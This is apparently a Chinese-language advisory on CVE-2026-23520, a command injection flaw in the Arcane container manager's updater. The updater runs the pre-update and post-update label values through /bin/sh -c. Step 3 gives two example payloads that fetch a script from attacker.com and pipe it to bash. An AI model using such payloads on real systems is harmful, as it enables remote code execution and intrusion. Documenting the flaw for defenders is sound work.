CVE-2026-23520CVE-2026-23520是Arcane容器管理平台中的一个严重命令注入漏洞,CVSS评分高达9.0分。Arcane是一款现代化的Docker容器管理工具,其updater服务支持生命周期标签(lifecycle labels),允许用户在容器更新前后执行自定义命令。漏洞源于updater服务在处理com.getarcaneapp.arcane.lifecycle.pre-update和com.getarcaneapp.arcane.lifecycle.post-update这两个生命周期标签时,直接将标签值传递给/bin/sh -c执行,未进行任何消毒或验证处理。由于Arcane允许任何已认证用户(不仅限于管理员)通过API创建项目,攻击者可以创建一个包含恶意生命周期标签的项目。当管理员手动触发或通过定时任务触发容器更新时,Arcane会读取并执行标签中定义的恶意shell命令,从而实现远程代码执行。攻击成功后,攻击者可以在容器内执行任意操作,包括窃取敏感数据、植入后门或横向移动。该漏洞已在1.13.0版本中修复。
Arcane的updater服务存在命令注入漏洞,攻击原理如下:
1. Arcane允许用户通过Docker标签定义容器生命周期钩子,支持两个特殊标签:
- com.getarcaneapp.arcane.lifecycle.pre-update:容器更新前执行
- com.getarcaneapp.arcane.lifecycle.post-update:容器更新后执行
2. 漏洞点位于updater服务的标签处理逻辑,当读取到上述标签时,直接将标签值拼接到shell命令中执行:
/bin/sh -c "<label_value>"
3. 由于缺乏输入验证,攻击者可以在标签值中注入任意shell命令,例如:
; wget http://attacker.com/malware.sh | bash
或
`curl attacker.com/shell.sh | bash`
4. 攻击利用条件:
- 攻击者需拥有Arcane API访问权限(可注册普通用户)
- 攻击者能创建项目并配置容器标签
- 需要管理员或自动化任务触发容器更新
5. 利用流程:攻击者创建包含恶意标签的容器,等待管理员更新时触发命令执行。由于标签值直接通过shell执行,攻击者可获得与容器相同的权限级别。